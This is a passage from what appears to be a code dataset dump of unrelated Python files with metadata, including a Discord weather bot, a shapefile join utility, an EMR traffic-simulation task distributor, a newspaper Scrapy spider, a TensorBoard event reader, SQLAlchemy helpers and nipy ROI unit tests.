discord.ext import commands\nfrom .service import WeatherService\n\nclass Weather(commands.Cog):\n \"\"\" Weather commands \"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self.weather = WeatherService()\n\n @commands.command(description='Give me a location, get the weather')\n async def weather(self, ctx, *, location : str):\n channel = ctx.message.channel\n weather_embed = None\n async with channel.typing():\n weather_embed = self.get_weather(location)\n if weather_embed:\n await channel.send(embed=weather_embed)\n\n def get_weather(self, location):\n weather = self.weather.get_weather(location)\n\n currently_field = '{} {}.'.format(weather.current_icon, weather.current_summary)\n if weather.hourly_summary:\n currently_field += ' {}'.format(weather.hourly_summary)\n\n if weather.daily_summary:\n currently_field += ' {}'.format(weather.daily_summary)\n\n temp_field = '{:,g}°C ({:,g}°F)'.format(weather.current_temp.c, weather.current_temp.f)\n\n temp_feels_field = '{:,g}°C ({:,g}°F)'.format(weather.feels_like.c, weather.feels_like.f)\n\n temp_high_low_field = '{:,g}°C ({:,g}°F)/{:,g}°C ({:,g}°F)'.format(\n weather.daily_temp.high.c, weather.daily_temp.high.f,\n weather.daily_temp.low.c, weather.daily_temp.low.f)\n\n humidity_field = '{:,g}%'.format(weather.humidity)\n\n precip_field = '{:,g}%'.format(weather.precip)\n wind_field = '{} {:,g} kph ({:,g} freedom units)'.format(\n weather.wind.bearing, weather.wind.kph, weather.wind.mph)\n\n utc_time = dateutil.parser.parse(weather.utc_time)\n utc_formatted = utc_time.strftime('%Y-%m-%d %H:%M UTC')\n local_time = utc_time.astimezone(dateutil.tz.gettz(weather.local_timezone))\n local_formatted = local_time.strftime('%Y-%m-%d %H:%M {}'.format(weather.local_timezone))\n\n time_info = '{} \\u2022 Local: {}'.format(utc_formatted, local_formatted)\n darksky_attribution = '[Powered by Dark Sky](https://darksky.net/poweredby/)'\n description = '{}\\n{}'.format(time_info, darksky_attribution)\n\n weather_embed = discord.Embed.from_dict({\n \"title\": weather.location,\n \"description\": description,\n \"timestamp\": weather.utc_time,\n \"fields\": [\n {\n \"name\": '**Currently**',\n \"value\": currently_field,\n \"inline\": True\n },\n {\n \"name\": '**Temp**',\n \"value\": temp_field,\n \"inline\": True\n },\n {\n \"name\": '**Feels Like**',\n \"value\": temp_feels_field,\n \"inline\": True\n },\n {\n \"name\": '**High/Low**',\n \"value\": temp_high_low_field,\n \"inline\": True\n },\n {\n \"name\": '**Humidity**',\n \"value\": humidity_field,\n \"inline\": True\n },\n {\n \"name\": '**Precipitation**',\n \"value\": precip_field,\n \"inline\": True\n },\n {\n \"name\": '**Wind**',\n \"value\": wind_field,\n \"inline\": True\n },\n ],\n })\n\n alert_text = ''\n for alert in weather.alerts:\n alert_text = alert_text + '__**{}**__: {}: {}\\n'.format(\n alert.severity, alert.title, alert.uri)\n\n if len(alert_text) > 0:\n weather_embed.add_field(\n name='**Alerts**',\n value=alert_text,\n inline=True\n )\n\n return weather_embed\n\n", "sub_path": "extensions/weather/weather.py", "file_name": "weather.py", "file_ext": "py", "file_size_in_byte": 4019, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 8, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 8, "usage_type": "name"}, {"api_name": "service.WeatherService", "line_number": 13, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 15, "usage_type": "name"}, {"api_name": "dateutil.parser.parse", "line_number": 48, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 48, "usage_type": "attribute"}, {"api_name": "dateutil.tz.gettz", "line_number": 50, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 50, "usage_type": "attribute"}, {"api_name": "discord.Embed.from_dict", "line_number": 57, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 57, "usage_type": "attribute"}]} {"seq_id": "70774634", "text": "\"\"\"Append result to shapefile\n\"\"\"\nimport logging\nimport shapefile\n\ndef write_result_shapefile(lad_geometry_shp, out_shape, field_names, csv_results):\n \"\"\"\n Join result attributes to LAD geography with\n pyhape library\n\n Arguments\n ---------\n lad_geometry_shp : str\n Path to LAD shapefile\n out_shape : str\n Path to new shapefile\n field_names : list\n list with new attribute field name\n csv_results : list\n list with result dicts\n\n Info\n -----\n pip install pyshp\n https://github.com/GeospatialPython/pyshp#reading-shapefiles-from-file-like-objects\n\n http://www.qgistutorials.com/en/docs/performing_table_joins_pyqgis.html\n \"\"\"\n # Read in our existing shapefile\n lad_geometry_shp_name = lad_geometry_shp[:-3]\n myshp = open(lad_geometry_shp_name + \"shp\", \"rb\")\n mydbf = open(lad_geometry_shp_name + \"dbf\", \"rb\")\n\n record = shapefile.Reader(shp=myshp, dbf=mydbf)\n\n # Create a new shapefile in memory\n writer = shapefile.Writer()\n\n # Copy over the existing fields\n writer.fields = list(record.fields)\n\n # --------------\n # Add new fields\n # --------------\n for field_name in field_names:\n writer.field(field_name, \"F\", decimal=10) #Float\n\n # Get position of field 'name' \n position = 0\n for field_name in record.fields[1:]:\n if field_name[0] == 'name': #corresponds to LAD Geocode\n position_field_name = position\n break\n else:\n position += 1\n\n # --------------------------\n # Join fields programatically\n # --------------------------\n missing_recors = set()\n\n # Loop through each record, add a column and get results\n for rec in record.records():\n\n # Get geocode for row\n geo_code = rec[position_field_name]\n\n # Iterate result entries in list\n for result_per_field in csv_results:\n\n # Iterate result entries and add\n try:\n result_csv = result_per_field[geo_code]\n except KeyError:\n # No results\n result_csv = 0\n missing_recors.add(geo_code)\n\n # Add specific fuel result\n rec.append(result_csv)\n\n # Add the modified record to the new shapefile\n writer.records.append(rec)\n\n if missing_recors != []:\n logging.warning(\n \"No result value for regions '%s' in joining shapefile\",\n missing_recors)\n else:\n pass\n\n # Copy over the geometry without any changes\n writer._shapes.extend(record.shapes())\n\n # Save as a new shapefile (or write over the old one)\n writer.save(out_shape)\n logging.info(\"... finished writing shp\")\n return\n", "sub_path": "energy_demand/geography/write_shp.py", "file_name": "write_shp.py", "file_ext": "py", "file_size_in_byte": 2724, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "shapefile.Reader", "line_number": 34, "usage_type": "call"}, {"api_name": "shapefile.Writer", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 97, "usage_type": "call"}]} {"seq_id": "173425851", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 25 15:40:02 2019\n\n@author: jacastillo8\n\"\"\"\nimport pandas as pd\nimport json, random, os\nfrom getmac import get_mac_address\n\nos.chdir('/home/jacastillo8/Projects/emr_traffic_sim/organizer/tasks/')\n\nclass Tasks(object):\n def __init__(self):\n # Reading desired IP addressess\n with open(\"../../IP_Addresses.txt\", 'r') as file: \n self.text = []\n for line in file:\n if not line.startswith(\"#\"):\n self.text.append(line.replace('\\n', ''))\n self.devices = len(self.text) # Number of devices is directly related to number of tasks (one task per device) \n self.data = None\n self.beds = None\n \n def read_excel(self, path_to_file, sheet_name=None):\n if sheet_name is None:\n self.data = pd.read_excel(path_to_file, sheet_name='Sheet1')\n else:\n self.data = pd.read_excel(path_to_file, sheet_name=sheet_name)\n\n def generate(self):\n \"\"\" Generates a number of tasks to be distributed for traffic generation \n (default to 5 devices) \"\"\"\n if self.data is None:\n raise Exception(\"Set dataframe 'Tasks.read_excel()' before continuing.\")\n self.beds = self.data['Bed Label'].unique().tolist()\n try:\n self.beds.remove('Discharged') # Removing element (not a bed)\n except:\n pass\n random.shuffle(self.beds)\n bed_distro = [self.beds[i * self.devices:(i + 1) * self.devices]\\\n for i in range((len(self.beds) + self.devices - 1) //\\\n self.devices)]\n TASKS = {}\n task = {}\n # Time intervals in 24h format [x1, x2) - math notation to define inclusivity\n time_interval = [(8, 10), (10, 13), (13, 19), (19, 23.98), (24, 3), (3, 8)] \n for i in range(self.devices):\n \"\"\" \n Dictionary below contains two elements per key.\n First, time range for patient data transmission\n Second, time interval for which data transmission works\n For example:\n - Key 'a' sends data every 10-15 minutes (inclusive) from 8AM-10AM\n - Key 'b' sends data every 15-20 minutes from 10AM-1PM\n \"\"\"\n task[\"a\"] = [(10, 15), time_interval[0][:]]\n task[\"b\"] = [(15, 20), time_interval[1][:]]\n task[\"c\"] = [(5, 10), time_interval[2][:]]\n task[\"d\"] = [(5, 25), time_interval[3][:]]\n task[\"e\"] = [(20, 35), time_interval[4][:]]\n task[\"f\"] = [(15, 30), time_interval[5][:]]\n task[\"beds\"] = bed_distro[i]\n TASKS[f\"{i+1}\"] = task.copy() # Create shallow copy of dict object\n random.shuffle(time_interval) # Randomize time intervales\n # Dump TASKS into json file\n with open(\"../../emr/info/task_distribution.json\", 'w+') as file:\n json.dump(TASKS, file)\n \n def distribute(self):\n \"\"\" Generates a dictionary object to distrubute tasks according to MAC\n Addresses \"\"\"\n # Obtain MAC per IP (last 6 digits only)\n mac = []\n for ip in self.text:\n mac.append(get_mac_address(ip=ip).replace(\":\", \"\")[-6:])\n # Create randomized list of tasks\n task_list = [str(i) for i in range(1,len(self.text)+1)]\n random.shuffle(task_list)\n # Generate dictionary containing task and MAC\n task_distribution = {}\n for i in range(len(self.text)):\n task_distribution[mac[i]] = task_list[i]\n # Dump task distribution into json file\n with open(\"../../emr/info/list.json\", 'w+') as file:\n json.dump(task_distribution, file)\n \nif __name__ == '__main__':\n tasks = Tasks()\n tasks.read_excel(\"../../../icu/Dataset/ICU1_data.xlsx\")\n tasks.generate()\n tasks.distribute()\n ", "sub_path": "organizer/tasks/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 3956, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.chdir", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 30, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 42, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 67, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 70, "usage_type": "call"}, {"api_name": "getmac.get_mac_address", "line_number": 78, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 81, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 88, "usage_type": "call"}]} {"seq_id": "496794818", "text": "# -*- coding: utf-8 -*-\nimport re\nfrom newscrawl.items import newsItem\nfrom scrapy_redis.spiders import RedisCrawlSpider\nfrom scrapy.spiders import Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.http import Request\n\n\nclass ShenZhenDailySpider(RedisCrawlSpider):\n name = \"shenzhendaily\"\n allowed_domains = [\"sznews.com\"]\n base_url = \"http://sztqb.sznews.com/\"\n newspapers = \"深圳特区报\"\n redis_key = \"shenzhendaily:start_urls\"\n \n def parse_start_url(self, response):\n areas = response.xpath('//div[@class=\"Chunkiconlist\"]/p/a[1]')\n for area in areas:\n page = area.xpath('@href').extract()[0]\n url = re.sub('\\w{1,}.html',page,response.url)\n str_category = area.xpath('text()').extract()[0]\n category = str_category.split('：')[1]\n yield Request(url, self.page_parse, dont_filter=True, meta={'category':category})\n\n def page_parse(self, response):\n articles = response.xpath('//div[@class=\"newslist\"]/ul/li/h3/a/@href').extract()\n category = response.meta['category']\n for article in articles:\n article_path = re.findall('/\\w{1,}/\\w{1,}/\\w{1,}/\\w{1,}.html', article)[0]\n url = self.base_url + 'PC' + article_path\n yield Request(url, self.parse_item, meta={'category':category})\n\n def parse_item(self, response):\n list_title = response.xpath('//div[@class=\"newsdetatit\"]/h3/text()').extract()\n title = \"\".join(list_title).strip()\n list_content = response.xpath('//div[@class=\"newsdetatext\"]/founder-content/p/text()').extract()\n content = \"\".join(list_content).strip()\n list_date = re.findall('(?<=/)\\d{1,}/\\d{1,}(?=/)', response.url)\n str_date = \"\".join(list_date)\n n_date = str_date.replace('/','-')\n date = n_date[:4] + '-' + n_date[4:]\n list_page = response.xpath('//div[@class=\"newsdetatit\"]/p[3]/span[@class=\"Author\"]/text()').extract()\n str_page = \"\".join(list_page)\n page = str_page.split('：')[1]\n if content == \"\":\n pass\n else:\n item = newsItem()\n item['title'] = title\n item['page'] = page\n item['content'] = content\n item['date'] = date\n item['category'] = response.meta['category']\n item['url'] = response.url\n item['newspapers'] = self.newspapers\n yield item\n", "sub_path": "newscrawl/spiders/shenzhendaily.py", "file_name": "shenzhendaily.py", "file_ext": "py", "file_size_in_byte": 2445, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scrapy_redis.spiders.RedisCrawlSpider", "line_number": 10, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 21, "usage_type": "call"}, {"api_name": "scrapy.http.Request", "line_number": 24, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 30, "usage_type": "call"}, {"api_name": "scrapy.http.Request", "line_number": 32, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 39, "usage_type": "call"}, {"api_name": "newscrawl.items.newsItem", "line_number": 49, "usage_type": "call"}]} {"seq_id": "234247744", "text": "from Bio import SeqIO\nimport sys\n\n# Author: Charlotte Capitanchik\n# adds ptms to tRNA file\n\nfasta = sys.argv[1]\nfasta_sequences = SeqIO.parse(open(fasta), 'fasta')\nnew_file = sys.argv[2]\nf_file = open(new_file,\"w\")\n\n# Read the fasta file as a dictionary\n\nfor f in fasta_sequences:\n name, sequence = f.id, f.seq\n sequence = str(sequence).upper()\n if sequence[-3:] != \"CCA\":\n sequence = sequence + \"CCA\"\n if name.find(\"His\") != -1:\n sequence = \"G\" + sequence\n f_file.write(\">\"+name+\"\\n\"+sequence+\"\\n\")\n\nf_file.close()", "sub_path": "Snakemake/prepare-annotation/scripts/addPTMtotRNA.py", "file_name": "addPTMtotRNA.py", "file_ext": "py", "file_size_in_byte": 544, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 7, "usage_type": "attribute"}, {"api_name": "Bio.SeqIO.parse", "line_number": 8, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 8, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}]} {"seq_id": "33621018", "text": "import struct\n# from src import summary_pb2\nimport event_pb2\n# from crc32c import crc32c\nimport io\nwith open('demo.pb', 'rb') as f:\n data = f.read()\n\ndef read(data):\n header = struct.unpack('Q', data[:8])\n # print('header:', header)\n # print('expected header crc:',masked_crc32c(header))\n # print(header)\n data = data[8:]\n # print(data[:4])\n\n crc_hdr = struct.unpack('I', data[:4])\n # print('read header crc:',crc_hdr)\n # print([hex(i) for i in crc_hdr])\n data = data[4:]\n \n event_str = data[:int(header[0])]\n # print([hex(i) for i in event_str])\n data = data[int(header[0]):]\n\n crc_ev = struct.unpack('>I', data[:4])\n # print([hex(i) for i in crc_ev])\n data = data[4:]\n \n return data, event_str\n # print(len(event_str))\n summ = event_pb2.Event()\n # summ = summary_pb2.Summary()\n summ.ParseFromString(event_str)\n print(summ)\n return data\n\n\ndef save_img(encoded, step):\n from PIL import Image\n img = Image.open(io.BytesIO(encoded))\n img.save('img_{}.png'.format(step), format='png')\n\n\nwhile data:\n data, event_str = read(data)\n event = event_pb2.Event()\n\n # summ = summary_pb2.Summary()\n event.ParseFromString(event_str)\n if event.HasField('summary'):\n for value in event.summary.value:\n if value.HasField('image'):\n img = value.image\n save_img(img.encoded_image_string, event.step)\n print('img')\n\n # print(event)\n", "sub_path": "dump.py", "file_name": "dump.py", "file_ext": "py", "file_size_in_byte": 1481, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "struct.unpack", "line_number": 10, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 17, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 26, "usage_type": "call"}, {"api_name": "event_pb2.Event", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 41, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 41, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 41, "usage_type": "call"}, {"api_name": "event_pb2.Event", "line_number": 47, "usage_type": "call"}]} {"seq_id": "255239217", "text": "import sqlalchemy as sa\nfrom sqlalchemy import orm\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nimport sqlalchemy as sa\nfrom sqlalchemy_utils import database_exists, create_database\nfrom datetime import datetime as dt\n\n\n\nclass DbSqlA:\n base = declarative_base()\n def __init__(self,ConnectionString,fast_executemany=True):\n self.engine = sa.create_engine(ConnectionString) if not fast_executemany else sa.create_engine(ConnectionString,fast_executemany=True)\n self.session = scoped_session(sessionmaker(autocommit=False,autoflush=False,bind=self.engine))\n self.base.query = self.session.query_property()\n self.orm_session = orm.scoped_session(orm.sessionmaker())(bind=self.engine)\n self.base.metadata.bind = self.engine \n\n def create_all(self):\n if not database_exists(self.engine.url):\n create_database(self.engine.url)\n self.base.metadata.create_all(self.engine)\n\n\ndef tblUts(db):\n class auxDB:\n id = sa.Column(sa.Integer,primary_key=True,autoincrement=True)\n\n def save(self):\n try:\n if not self.id:\n db.session.add(self)\n db.session.commit()\n except:\n db.session.rollback()\n raise\n\n def delete(self):\n db.session.rollback()\n db.session.delete(self)\n db.session.commit()\n return auxDB\n\n", "sub_path": "EduardoApp/backend/venv/Lib/site-packages/SqlUts/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1557, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.orm", "line_number": 17, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.database_exists", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.create_database", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 28, "usage_type": "attribute"}]} {"seq_id": "414959360", "text": "# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\"\"\"\nTest the discrete_domain utilities.\n\nCaveat assumes that the MNI template image is available at\nin ~/.nipy/tests/data\n\"\"\"\n\nimport numpy as np\nfrom ..mroi import subdomain_from_array, subdomain_from_balls\nfrom ..discrete_domain import domain_from_binary_array\n\nfrom numpy.testing import assert_equal\n\nshape = (5, 6, 7)\n\n\n###########################################################\n# SubDomains tests\n###########################################################\n\ndef make_subdomain():\n \"\"\"Create a multiple ROI instance\n \"\"\"\n labels = np.zeros(shape)\n labels[4:, 5:, 6:] = 1\n labels[:2, 0:2, 0:2] = 2\n labels[:2, 5:, 6:] = 3\n labels[:2, 0:2, 6:] = 4\n labels[4:, 0:2, 6:] = 5\n labels[4:, 0:2, 0:2] = 6\n labels[4:, 5:, 0:2] = 7\n labels[:2, 5:, 0:2] = 8\n mroi = subdomain_from_array(labels - 1, affine=None)\n return mroi\n\n\ndef test_subdomain():\n \"\"\"Test basic construction of multiple_roi\n \"\"\"\n mroi = make_subdomain()\n assert_equal(mroi.k, 8)\n\n\ndef test_subdomain2():\n \"\"\"Test mroi.size\n \"\"\"\n mroi = make_subdomain()\n assert_equal(len(mroi.get_size()), 8)\n for k in mroi.get_id():\n assert_equal(mroi.get_size(k),\n np.sum(mroi.label == mroi.select_id(k)))\n\n\ndef test_copy_subdomain():\n \"\"\"Test basic construction of multiple_roi\n \"\"\"\n mroi = make_subdomain()\n foo_feature = [[i] * j for i, j in enumerate(mroi.get_size())]\n foo_roi_feature = np.arange(mroi.k)\n mroi.set_feature('a', foo_feature)\n mroi.set_roi_feature('b', foo_roi_feature)\n mroi_copy = mroi.copy()\n # check some properties of mroi\n assert_equal(mroi.k, 8)\n for k in mroi.get_id():\n assert_equal(mroi.get_feature('a', k), foo_feature[mroi.select_id(k)])\n assert_equal(mroi.get_roi_feature('b'), foo_roi_feature)\n # delete mroi\n del mroi\n # check mroi_copy\n assert_equal(mroi_copy.k, 8)\n for k in mroi_copy.get_id():\n assert_equal(mroi_copy.get_feature('a', k),\n foo_feature[mroi_copy.select_id(k)])\n assert_equal(mroi_copy.get_roi_feature('b'), foo_roi_feature)\n\n\ndef test_select_roi():\n \"\"\"\n \"\"\"\n mroi = make_subdomain()\n aux = np.random.randn(np.prod(shape))\n data = [aux[mroi.label == k] for k in range(8)]\n mroi.set_feature('data', data)\n mroi.set_roi_feature('data_mean', range(8))\n mroi.select_roi([0])\n assert(mroi.k == 1)\n assert_equal(mroi.get_roi_feature('data_mean', 0), 0)\n\ndef test_roi_features():\n \"\"\"\n \"\"\"\n mroi = make_subdomain()\n dshape = (8, 3)\n data = np.random.randn(*dshape)\n mroi.set_roi_feature('data_mean', data)\n assert mroi.roi_features['data_mean'].shape == dshape\n\ndef test_subdomain_feature():\n \"\"\"Test the basic construction of features\n \"\"\"\n mroi = make_subdomain()\n aux = np.random.randn(np.prod(shape))\n data = [aux[mroi.label == k] for k in range(8)]\n mroi.set_feature('data', data)\n assert_equal(mroi.features['data'][0], data[0])\n\n\ndef test_sd_integrate():\n \"\"\"Test the integration\n \"\"\"\n mroi = make_subdomain()\n aux = np.random.randn(np.prod(shape))\n data = [aux[mroi.label == k] for k in range(8)]\n mroi.set_feature('data', data)\n sums = mroi.integrate('data')\n for k in range(8):\n assert_equal(sums[k], np.sum(data[k]))\n\n\ndef test_sd_integrate2():\n \"\"\"Test the integration\n \"\"\"\n mroi = make_subdomain()\n for k in mroi.get_id():\n assert_equal(mroi.get_volume(k), mroi.integrate(id=k))\n volume_from_integration = mroi.integrate()\n volume_from_feature = mroi.get_volume()\n for i in range(mroi.k):\n assert_equal(volume_from_feature[i], volume_from_integration[i])\n\n\ndef test_sd_representative():\n \"\"\"Test the computation of representative features\n \"\"\"\n mroi = make_subdomain()\n data = [[k] * mroi.get_size(k) for k in mroi.get_id()]\n mroi.set_feature('data', data)\n sums = mroi.representative_feature('data')\n for k in mroi.get_id():\n assert_equal(sums[mroi.select_id(k)], k)\n\n\ndef test_sd_from_ball():\n dom = domain_from_binary_array(np.ones((10, 10)))\n radii = np.array([2, 2, 2])\n positions = np.array([[3, 3], [3, 7], [7, 7]])\n subdomain = subdomain_from_balls(dom, positions, radii)\n assert_equal(subdomain.k, 3)\n assert_equal(subdomain.get_size(), np.array([9, 9, 9]))\n\n\ndef test_set_feature():\n \"\"\"Test the feature building capability\n \"\"\"\n mroi = make_subdomain()\n data = np.random.randn(np.prod(shape))\n feature_data = [data[mroi.select_id(k, roi=False)]\n for k in mroi.get_id()]\n mroi.set_feature('data', feature_data)\n get_feature_output = mroi.get_feature('data')\n assert_equal([len(k) for k in mroi.get_feature('data')],\n mroi.get_size())\n for k in mroi.get_id():\n assert_equal(mroi.get_feature('data', k),\n data[mroi.select_id(k, roi=False)])\n assert_equal(get_feature_output[k],\n data[mroi.select_id(k, roi=False)])\n\n\ndef test_set_feature2():\n \"\"\"\n \"\"\"\n mroi = make_subdomain()\n data = np.random.randn(np.prod(shape))\n feature_data = [data[mroi.select_id(k, roi=False)]\n for k in mroi.get_id()]\n mroi.set_feature('data', feature_data)\n mroi.set_feature('data', np.asarray([1000]), id=0, override=True)\n assert_equal(mroi.get_feature('data', 0), [1000])\n\n\ndef test_get_coord():\n \"\"\"\n \"\"\"\n mroi = make_subdomain()\n for k in mroi.get_id():\n assert_equal(mroi.get_coord(k),\n mroi.domain.coord[mroi.select_id(k, roi=False)])\n\nif __name__ == \"__main__\":\n import nose\n nose.run(argv=['', __file__])\n", "sub_path": "nipy/labs/spatial_models/tests/test_mroi.py", "file_name": "test_mroi.py", "file_ext": "py", "file_size_in_byte": 5790, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "mroi.subdomain_from_array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 43, "usage_type": "call"}, {"api_name": "mroi.k", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_equal", "line_number": 50, "usage_type": "call"}, {"api_name": "mroi.get_size", "line_number": 50, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 52, "usage_type": "call"}, {"api_name": "mroi.get_size", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 53, "usage_type": "call"}, {"api_name": "mroi.label", "line_number": 53, "usage_type": "attribute"}, {"api_name": "mroi.select_id", "line_number": 53, "usage_type": "call"}, {"api_name": "mroi.get_size", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "mroi.k", "line_number": 61, "usage_type": "attribute"}, {"api_name": "mroi.set_feature", "line_number": 62, "usage_type": "call"}, {"api_name": "mroi.set_roi_feature", "line_number": 63, "usage_type": "call"}, {"api_name": "mroi.copy", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 66, "usage_type": "call"}, {"api_name": "mroi.k", "line_number": 66, "usage_type": "attribute"}, {"api_name": "mroi.get_id", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 68, "usage_type": "call"}, {"api_name": "mroi.get_feature", "line_number": 68, "usage_type": "call"}, {"api_name": "mroi.select_id", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 69, "usage_type": "call"}, {"api_name": "mroi.get_roi_feature", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 84, "usage_type": "call"}, {"api_name": "mroi.label", "line_number": 85, "usage_type": "attribute"}, {"api_name": "mroi.set_feature", "line_number": 86, "usage_type": "call"}, {"api_name": "mroi.set_roi_feature", "line_number": 87, "usage_type": "call"}, {"api_name": "mroi.select_roi", "line_number": 88, "usage_type": "call"}, {"api_name": "mroi.k", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_equal", "line_number": 90, "usage_type": "call"}, {"api_name": "mroi.get_roi_feature", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 97, "usage_type": "attribute"}, {"api_name": "mroi.set_roi_feature", "line_number": 98, "usage_type": "call"}, {"api_name": "mroi.roi_features", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 105, "usage_type": "call"}, {"api_name": "mroi.label", "line_number": 106, "usage_type": "attribute"}, {"api_name": "mroi.set_feature", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 108, "usage_type": "call"}, {"api_name": "mroi.features", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 115, "usage_type": "call"}, {"api_name": "mroi.label", "line_number": 116, "usage_type": "attribute"}, {"api_name": "mroi.set_feature", "line_number": 117, "usage_type": "call"}, {"api_name": "mroi.integrate", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 120, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 128, "usage_type": "call"}, {"api_name": "mroi.get_volume", "line_number": 128, "usage_type": "call"}, {"api_name": "mroi.integrate", "line_number": 128, "usage_type": "call"}, {"api_name": "mroi.integrate", "line_number": 129, "usage_type": "call"}, {"api_name": "mroi.get_volume", "line_number": 130, "usage_type": "call"}, {"api_name": "mroi.k", "line_number": 131, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_equal", "line_number": 132, "usage_type": "call"}, {"api_name": "mroi.get_size", "line_number": 139, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 139, "usage_type": "call"}, {"api_name": "mroi.set_feature", "line_number": 140, "usage_type": "call"}, {"api_name": "mroi.representative_feature", "line_number": 141, "usage_type": "call"}, {"api_name": "mroi.get_id", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.testing.assert_equal", "line_number": 143, "usage_type": "call"}, {"api_name": "mroi.select_id", "line_number": 